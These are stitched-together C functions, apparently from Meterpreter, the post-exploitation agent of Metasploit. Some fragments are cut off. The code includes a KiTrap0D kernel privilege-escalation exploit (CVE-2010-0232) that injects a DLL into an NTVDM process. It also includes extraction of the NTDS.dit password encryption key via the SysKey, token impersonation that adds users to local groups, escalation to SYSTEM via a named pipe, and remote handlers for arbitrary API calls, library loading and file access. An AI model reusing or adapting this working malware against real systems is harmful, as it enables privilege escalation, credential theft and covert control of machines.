ERROR_SUCCESS; }
// Single-request railgun API DWORD request_railgun_api(Remote *remote, Packet *packet) { DWORD bufferSizeOUT,bufferSizeIN,bufferSizeINOUT,stackSizeInElements; BYTE * bufferIN=NULL; BYTE * bufferOUT=NULL; BYTE * bufferINOUT=NULL; DWORD * stack = NULL; DWORD returnValue; // returnValue of the function const DWORD * stackDescriptorBuffer; // do not free! Just convenience ptr to TLV Tlv stackDescriptorTlv; const char * dllName; const char * funcName; HMODULE hDll; void * funcAddr; DWORD ii; DWORD lastError; Packet *response; dprintf("request_railgun_api()"); // Prepare the OUT-Buffer (undefined content) bufferSizeOUT = packet_get_tlv_value_uint(packet, TLV_TYPE_RAILGUN_SIZE_OUT); dprintf("bufferSizeOUT == %d",bufferSizeOUT); if (bufferSizeOUT != 0){ bufferOUT = (BYTE *)malloc(bufferSizeOUT); memset(bufferOUT,'A',bufferSizeOUT); // this might help catch bugs } dprintf("bufferOUT @ 0x%08X",bufferOUT); // get the IN-Buffer dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_IN"); bufferIN = getRawDataCopy(packet,TLV_TYPE_RAILGUN_BUFFERBLOB_IN,&bufferSizeIN); dprintf("bufferIN @ 0x%08X",bufferIN); if (bufferIN == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN"); goto cleanup; } dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_IN, size %d",bufferSizeIN); // get the INOUT-Buffer dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT"); bufferINOUT = getRawDataCopy(packet,TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT,&bufferSizeINOUT); dprintf("bufferINOUT @ 0x%08X",bufferINOUT); if (bufferINOUT == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT"); goto cleanup; } dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, size %d",bufferSizeINOUT); // Get DLLNAME dllName = packet_get_tlv_value_string(packet,TLV_TYPE_RAILGUN_DLLNAME); if (dllName == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME"); goto cleanup; } dprintf("TLV_TYPE_RAILGUN_DLLNAME. %s: ",dllName); // Get funcNAME funcName = packet_get_tlv_value_string(packet,TLV_TYPE_RAILGUN_FUNCNAME); if (funcName == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME"); goto cleanup; } dprintf("TLV_TYPE_RAILGUN_FUNCNAME. %s: ",funcName); // get address of function hDll = LoadLibraryA(dllName); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc. if (hDll == NULL){ dprintf("LoadLibraryA() failed"); goto cleanup; } funcAddr = (void*)GetProcAddress(hDll,funcName); if (funcAddr == NULL){ dprintf("GetProcAddress() failed"); goto cleanup; } // get the Stack-description (1 DWORD description, 1 DWORD data) dprintf("Getting TLV_TYPE_RAILGUN_STACKBLOB"); if (packet_get_tlv(packet, TLV_TYPE_RAILGUN_STACKBLOB, &stackDescriptorTlv) != ERROR_SUCCESS){ dprintf("packet_get_tlv failed"); goto cleanup; } dprintf("Got TLV_TYPE_RAILGUN_STACKBLOB, size %d",stackDescriptorTlv.header.length); if ((stackDescriptorTlv.header.length % (2*sizeof(DWORD))) != 0){ dprintf("TLV_TYPE_RAILGUN_STACKBLOB: blob size makes no sense"); } dprintf("Function at 0x%08X.",funcAddr); stackSizeInElements = stackDescriptorTlv.header.length / (2*sizeof(DWORD)); stackDescriptorBuffer = (DWORD*) stackDescriptorTlv.buffer; stack = (DWORD*) malloc((stackSizeInElements)*sizeof(DWORD)); dprintf("Stack blob size: 0x%X",stackDescriptorTlv.header.length); dprintf("stackSizeInElements: %d",stackSizeInElements); dprintf("stack @ 0x%08X",stack); // To build the stack we have to process the items. // depending on their types the items are // 0 - literal values // 1 = relative pointers to bufferIN. Must be converted to absolute pointers // 2 = relative pointers to bufferOUT. Must be converted to absolute pointers // 3 = relative pointers to bufferINOUT. Must be converted to absolute pointers for (ii=0; ii<stackSizeInElements; ii++){ DWORD itemType,item; itemType = stackDescriptorBuffer[ii*2]; item = stackDescriptorBuffer[ii*2+1]; switch(itemType){ case 0: // do nothing. item is a literal value dprintf("Param %d is literal:0x%08X.",ii,item); stack[ii] = item; break; case 1: // relative ptr to bufferIN. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferIN); dprintf("Param %d is relative to bufferIn: 0x%08X => 0x%08X",ii,item,stack[ii]); break; case 2: // relative ptr to bufferOUT. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferOUT); dprintf("Param %d is relative to bufferOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); break; case 3: // relative ptr to bufferINOUT. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferINOUT); dprintf("Param %d is relative to bufferINOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); break; default: dprintf("Invalid stack item description %d for item %d",itemType,ii); goto cleanup; } } dprintf("calling function.."); SetLastError(0); // written for readability. // The compiler MUST use EBP to reference variables, sinde we are messing with ESP. // In MSVC parlance "Omit Frame pointers" OFF! __asm{ pusha // save ESP mov EBX,ESP //"push" all params on the stack mov ECX,[stackSizeInElements] mov ESI,[stack] sub ESP,ECX sub ESP,ECX sub ESP,ECX sub ESP,ECX mov EDI,ESP cld rep movsd //and call! mov eax,[funcAddr] call eax // restore stack. no matter the calling convention mov esp,ebx // starting here we can use vars again mov [returnValue],EAX popa } lastError = GetLastError(); //must be called immediately after function dprintf("called function => %d",lastError); // time to ship stuff back response = packet_create_response(packet); dprintf("created return packet"); packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_ERR,lastError); packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_RET, returnValue); packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT,bufferOUT,bufferSizeOUT); packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT,bufferINOUT,bufferSizeINOUT); dprintf("added stuff"); packet_transmit_response(ERROR_SUCCESS, remote, response); dprintf("transmitted back"); cleanup: // todo: transmit error message on failure dprintf("request_railgun_api: cleanup"); if (bufferIN != NULL) {free(bufferIN);} if (bufferOUT != NULL) {free(bufferOUT);} if (bufferINOUT != NULL) {free(bufferINOUT);} if (stack != NULL) {free(stack);} return 0; }
/* * (CVE-2010-0232) */ DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hVdm = NULL; HANDLE hThread = NULL; LPVOID lpServiceBuffer = NULL; LPVOID lpRemoteCommandLine = NULL; char cWinDir[MAX_PATH] = {0}; char cVdmPath[MAX_PATH] = {0}; char cCommandLine[MAX_PATH] = {0}; DWORD dwExitCode = 0; DWORD dwKernelBase = 0; DWORD dwOffset = 0; DWORD dwServiceLength = 0; do { // only works on x86 systems... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. Unsuported platform", ERROR_BAD_ENVIRONMENT ); dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting..." ); dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS ); // 1. first get a file path to a suitable exe... if( !elevate_via_exploit_getpath( cVdmPath, MAX_PATH ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND ); // 2. Scan kernel image for the required code sequence, and find the base address... if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE ); // 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable... dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" ); if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE ); // 4. Use RDI to inject the elevator dll into the remote NTVDM process... // Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique. _snprintf_s( cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/KITRAP0D /VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset ); // alloc some space and write the commandline which we will pass to the injected dll... lpRemoteCommandLine = VirtualAllocEx( hVdm, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed" ); if( !WriteProcessMemory( hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed" ); // inject the dll... hThread = LoadRemoteLibraryR( hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine ); if( !hThread ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" ); // 5. Wait for the thread to complete dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread ); WaitForSingleObject( hThread, INFINITE ); // pass some information back via the exit code to indicate what happened. GetExitCodeThread( hThread, &dwExitCode ); dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode ); switch( dwExitCode ) { case 'VTIB': // A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that // matches what the kernel expects. // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode ); case 'NTAV': // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl() // expects to be present. // The exploit thread reports it didn't work. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode ); case 'VDMC': // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed. // It's entirely undocumented, so you'll have to use kd to step through it and find out why // it's failing. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode ); case 'LPID': // This exploit will try to transplant the token from PsInitialSystemProcess on to an // unprivileged process owned by you. // PsLookupProcessByProcessId() failed when trying to find your process. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode ); case FALSE: // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found? // Verify the vdmexploit.dll file exists, is readable and is in a suitable location. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode ); case 'w00t': // This means the exploit payload was executed at ring0 and succeeded. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS ); default: // Unknown error. Sorry, you're on your own. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode ); } } while( 0 ); if( hVdm ) { TerminateProcess( hVdm, 0 ); CloseHandle( hVdm ); } if( hThread ) CloseHandle( hThread ); return dwResult; }
/* * Handles the open request for a file channel and returns a valid channel * identifier to the requestor if the file is opened successfully */ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet) { Packet *response = NULL; PCHAR filePath, mode; DWORD res = ERROR_SUCCESS; DWORD flags = 0; Channel *newChannel = NULL; PoolChannelOps chops = { 0 }; FileContext *ctx; LPSTR expandedFilePath = NULL; do { // Allocate a response response = packet_create_response(packet); // Get the channel flags flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); // Allocate storage for the file context if (!(ctx = (FileContext *)malloc(sizeof(FileContext)))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the file path and the mode filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); mode = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE); // No file path? bogus. if (!filePath) { res = ERROR_INVALID_PARAMETER; break; } // Expand the file path if (!(expandedFilePath = fs_expand_path(filePath))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } if (!mode) mode = "rb"; // Invalid file? if (!(ctx->fd = fopen(expandedFilePath, mode))) { res = GetLastError(); break; } memset(&chops, 0, sizeof(chops)); // Initialize the pool operation handlers chops.native.context = ctx; chops.native.write = file_channel_write; chops.native.close = file_channel_close; chops.read = file_channel_read; chops.eof = file_channel_eof; chops.seek = file_channel_seek; chops.tell = file_channel_tell; // Check the response allocation & allocate a un-connected // channel if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the channel identifier to the response packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); } while (0); // Transmit the packet if it's valid packet_transmit_response(res, remote, response); // Clean up on failure if (res != ERROR_SUCCESS) { if (newChannel) channel_destroy(newChannel, NULL); if (ctx) free(ctx); } // Free the expanded file path if it was allocated if (expandedFilePath) free(expandedFilePath); return res; }
// This is the raw NTDS command function. When the remote user // sends a command request for extapi_ntds_parse, this function fires. // It calls the setup routines for our Jet Instance, attaches the isntance // to the NTDS.dit database the user specified, and creates our channel. // The user interacts with the NTDS database through that channel from that point on. DWORD ntds_parse(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; struct jetState *ntdsState = calloc(1,sizeof(struct jetState)); PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH); // Check if the File exists if (0xffffffff == GetFileAttributes(filePath)) { res = 2; goto out; } strncpy_s(ntdsState->ntdsPath, 255, filePath, 254); // Attempt to get the SysKey from the Registry unsigned char sysKey[17]; if (!get_syskey(sysKey)) { res = GetLastError(); goto out; } JET_ERR startupStatus = engine_startup(ntdsState); if (startupStatus != JET_errSuccess) { res = startupStatus; goto out; } // Start a Session in the Jet Instance JET_ERR sessionStatus = JetBeginSession(ntdsState->jetEngine, &ntdsState->jetSession, NULL, NULL); if (sessionStatus != JET_errSuccess) { JetTerm(ntdsState->jetEngine); res = sessionStatus; goto out; } JET_ERR openStatus = open_database(ntdsState); if (openStatus != JET_errSuccess) { JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL); JetTerm(ntdsState->jetEngine); res = openStatus; goto out; } JET_ERR tableStatus = JetOpenTable(ntdsState->jetSession, ntdsState->jetDatabase, "datatable", NULL, 0, JET_bitTableReadOnly | JET_bitTableSequential, &ntdsState->jetTable); if (tableStatus != JET_errSuccess) { engine_shutdown(ntdsState); res = tableStatus; goto out; } // Create the structure for holding all of the Column Definitions we need struct ntdsColumns *accountColumns = calloc(1, sizeof(struct ntdsColumns)); JET_ERR columnStatus = get_column_info(ntdsState, accountColumns); if (columnStatus != JET_errSuccess) { engine_shutdown(ntdsState); free(accountColumns); res = columnStatus; goto out; } JET_ERR pekStatus; struct encryptedPEK *pekEncrypted = calloc(1,sizeof(struct encryptedPEK)); struct decryptedPEK *pekDecrypted = calloc(1,sizeof(struct decryptedPEK)); // Get and Decrypt the Password Encryption Key (PEK) pekStatus = get_PEK(ntdsState, accountColumns, pekEncrypted); if (pekStatus != JET_errSuccess) { res = pekStatus; free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)) { res = GetLastError(); free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } // Set our Cursor on the first User record JET_ERR cursorStatus = find_first(ntdsState); if (cursorStatus != JET_errSuccess) { res = cursorStatus; free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } cursorStatus = next_user(ntdsState, accountColumns); if (cursorStatus != JET_errSuccess) { res = cursorStatus; free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } // If we made it this far, it's time to set up our channel PoolChannelOps chops; Channel *newChannel; memset(&chops, 0, sizeof(chops)); NTDSContext *ctx; // Allocate storage for the NTDS context if (!(ctx = calloc(1, sizeof(NTDSContext)))) { res = ERROR_NOT_ENOUGH_MEMORY; free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } ctx->accountColumns = accountColumns; ctx->ntdsState = ntdsState; ctx->pekDecrypted = pekDecrypted; // Initialize the pool operation handlers chops.native.context = ctx; chops.native.close = ntds_channel_close; chops.read = ntds_channel_read; if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops))) { res = ERROR_NOT_ENOUGH_MEMORY; free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } channel_set_type(newChannel, "ntds"); packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); out: packet_transmit_response(res, remote, response); return ERROR_SUCCESS; }
DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet) { DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i; NET_API_STATUS nStatus; LOCALGROUP_MEMBERS_INFO_3 localgroup_member; SavedToken *token_list = NULL; HANDLE saved_token; wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE]; char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = ""; // Read arguments Packet *response = packet_create_response(packet); dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME); username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); mbstowcs(username_u, username, strlen(username)+1); mbstowcs(groupname_u, groupname, strlen(groupname)+1); localgroup_member.lgrmi3_domainandname = username_u; // Save current thread token if one is currently being impersonated if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token)) saved_token = INVALID_HANDLE_VALUE; token_list = get_token_list(&num_tokens); if (!token_list) { sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); goto cleanup; } sprintf(return_value, "[*] Attempting to add user %s to localgroup %s on host %s\n", username, groupname, dc_netbios_name); // Attempt to add user to localgroup with every token for (i=0;i<num_tokens;i++) if (token_list[i].token) { // causes major problems (always error 127) once you have impersonated this token once. No idea why!!! if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username)) continue; ImpersonateLoggedOnUser(token_list[i].token); nStatus = NetLocalGroupAddMembers(dc_netbios_name_u, groupname_u, 3, (LPBYTE)&localgroup_member, 1); RevertToSelf(); switch (nStatus) { case ERROR_ACCESS_DENIED: case ERROR_LOGON_FAILURE: // unknown username or bad password case ERROR_INVALID_PASSWORD: break; case NERR_Success: strncat(return_value, "[+] Successfully added user to local group\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_InvalidComputer: strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case ERROR_NO_SUCH_MEMBER: strncat(return_value, "[-] User not found\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_GroupNotFound: case 1376: // found by testing (also group not found) strncat(return_value, "[-] Local group not found\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case ERROR_MEMBER_IN_ALIAS: strncat(return_value, "[-] User already in group\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; default: sprintf(temp, "Unknown error: %d \n", nStatus); strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1); goto cleanup; } } strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1); cleanup: for (i=0;i<num_tokens;i++) CloseHandle(token_list[i].token); free(token_list); packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); packet_transmit_response(ERROR_SUCCESS, remote, response); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) ImpersonateLoggedOnUser(saved_token); return ERROR_SUCCESS; }
DWORD request_core_loadlib(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; HMODULE library; PCHAR libraryPath; DWORD flags = 0; PCHAR targetPath; int local_error = 0; Command *command; Command *first = extensionCommands; do { Tlv dataTlv; libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); // Invalid library path? if (!libraryPath) { res = ERROR_INVALID_PARAMETER; break; } if (flags & LOAD_LIBRARY_FLAG_LOCAL) { // i'd be surprised if we could load // libraries off the remote system without breaking severely. res = ERROR_NOT_SUPPORTED; break; } // Get the library's file contents if ((packet_get_tlv(packet, TLV_TYPE_DATA, &dataTlv) != ERROR_SUCCESS) || (!(targetPath = packet_get_tlv_value_string(packet, TLV_TYPE_TARGET_PATH)))) { res = ERROR_INVALID_PARAMETER; break; } dprintf("targetPath: %s", targetPath); library = dlopenbuf(targetPath, dataTlv.buffer, dataTlv.header.length); dprintf("dlopenbuf(%s): %08x / %s", targetPath, library, dlerror()); if (!library) { res = ERROR_NOT_FOUND; break; } // If this library is supposed to be an extension library, try to // call its Init routine if (flags & LOAD_LIBRARY_FLAG_EXTENSION) { PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION)); if (!pExtension) { res = ERROR_NOT_ENOUGH_MEMORY; break; } //DWORD(*init)(Remote *remote); pExtension->init = dlsym(library, "InitServerExtension"); // Call the init routine in the library if (pExtension->init) { dprintf("calling InitServerExtension"); pExtension->end = first; res = pExtension->init(remote); pExtension->start = extensionCommands; pExtension->getname = dlsym(library, "GetExtensionName"); pExtension->deinit = dlsym(library, "DeinitServerExtension"); if (pExtension->getname) { pExtension->getname(pExtension->name, sizeof(pExtension->name)); } list_push(gExtensionList, pExtension); } else { free(pExtension); } if (response) { for (command = pExtension->start; command != pExtension->end; command = command->next) { packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method); } } } } while (0); if (response) { packet_add_tlv_uint(response, TLV_TYPE_RESULT, res); PACKET_TRANSMIT(remote, response, NULL); } return (res); }
/* * Elevate from local admin to local system via Named Pipe Impersonation. We spawn a cmd.exe under local * system which then connects to our named pipe and we impersonate this client. This can be done by an * Administrator without the need for SeDebugPrivilege. Works on 2000, XP, 2003 and 2008 for all local * administrators. On Vista and 7 it will only work if the host process has been elevated through UAC * first. Does not work on NT4. */ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) { DWORD dwResult = ERROR_SUCCESS; char * cpServiceName = NULL; THREAD * pThread = NULL; HANDLE hSem = NULL; char cServiceArgs[MAX_PATH] = {0}; char cServicePipe[MAX_PATH] = {0}; OSVERSIONINFO os = {0}; do { os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if (!GetVersionEx(&os)) { BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed") } // filter out Windows NT4 if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) { SetLastError(ERROR_ACCESS_DENIED); BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.") } cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); if (!cpServiceName) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments", ERROR_BAD_ARGUMENTS); } _snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH, "\\\\.\\pipe\\%s", cpServiceName); _snprintf_s(cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe); hSem = CreateSemaphore(NULL, 0, 1, NULL); pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); if (!pThread) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed", ERROR_INVALID_HANDLE); } if (!thread_run(pThread)) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed", ERROR_ACCESS_DENIED); } //wait for the thread to create the pipe(if it times out terminate) if (hSem) { if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed", ERROR_ACCESS_DENIED); } } else { Sleep(500); } // start the elevator service (if it doesnt start first time we need to create it and then start it). if (service_start(cpServiceName) != ERROR_SUCCESS) { dprintf("[ELEVATE] service starting failed, attempting to create"); if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) { BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed"); } dprintf("[ELEVATE] creation of service succeeded, attempting to start"); // we dont check a return value for service_start as we expect it to fail as cmd.exe is not // a valid service and it will never signal to the service manager that is is a running service. service_start(cpServiceName); } // signal our thread to terminate if it is still running thread_sigterm(pThread); // and wait for it to terminate... thread_join(pThread); // get the exit code for our pthread dprintf("[ELEVATE] dwResult before exit code: %u", dwResult); if (!GetExitCodeThread(pThread->handle, &dwResult)) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed", ERROR_INVALID_HANDLE); } dprintf("[ELEVATE] dwResult after exit code: %u", dwResult); } while (0);
/* * Gets the contents of a given directory path and returns the list of file * names to the requestor. * * TLVs: * * req: TLV_TYPE_DIRECTORY_PATH - The directory that should be listed */ DWORD request_fs_ls(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR directory; DWORD result = ERROR_SUCCESS; LPSTR expanded = NULL, tempFile = NULL; DWORD tempFileSize = 0; LPSTR baseDirectory = NULL; struct meterp_stat buf; directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); // Enumerate the directory if one was provided if (!directory) result = ERROR_INVALID_PARAMETER; else { #ifdef _WIN32 WIN32_FIND_DATA data; HANDLE ctx = NULL; #else DIR *ctx; struct dirent *data; #endif BOOLEAN freeDirectory = FALSE; LPSTR tempDirectory = (LPSTR)directory; #ifdef _WIN32 // If there is not wildcard mask on the directory, create a version of the // directory with a mask appended if (!strrchr(directory, '*')) { if (!(tempDirectory = (LPSTR)malloc(strlen(directory) + 3))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } sprintf(tempDirectory, "%s\\*", directory); // Dupe! if (!(baseDirectory = _strdup(directory))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } } // Otherwise, if it does have an asterisk, we need to scan back and find // the base directory. If there is no slash, it means we're listing the // cwd. else { PCHAR slash = strrchr(directory, '\\'); if (slash) { *slash = 0; if (!(baseDirectory = _strdup(directory))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } *slash = '\\'; } } // Expand the path if (!(expanded = fs_expand_path(tempDirectory))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Start the find operation ctx = FindFirstFile(expanded, &data); #define DF_NAME data.cFileName #else expanded = 0; ctx = opendir(tempDirectory); if(ctx == NULL) { result = errno; goto out; } data = readdir(ctx); #define DF_NAME data->d_name #endif do { DWORD fullSize = (baseDirectory ? strlen(baseDirectory) : 0) + strlen(DF_NAME) + 2; // No context? Sucktastic if (ctx == INVALID_HANDLE_VALUE) { result = GetLastError(); break; } // Allocate temporary storage to stat the file if ((!tempFile) || (tempFileSize < fullSize)) { if (tempFile) free(tempFile); // No memory means we suck a lot like spoon's mom if (!(tempFile = (LPSTR)malloc(fullSize))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Update the tempFileSize so that we don't allocate if we don't // need to like a true efficient ninja tempFileSize = fullSize; } // Build the full path if (baseDirectory) sprintf(tempFile, "%s\\%s", baseDirectory, DF_NAME); else sprintf(tempFile, "%s", DF_NAME); // Add the file name to the response packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, DF_NAME); // Add the full path packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, tempFile); // Stat the file to get more information about it. if (fs_stat(tempFile, &buf) >= 0) packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); #ifdef _WIN32 } while (FindNextFile(ctx, &data)); #else } while (data = readdir(ctx)); #endif #undef DF_NAME // Clean up resources if (freeDirectory) free(tempDirectory); if (ctx) #ifdef _WIN32 FindClose(ctx); #else closedir(ctx); #endif }
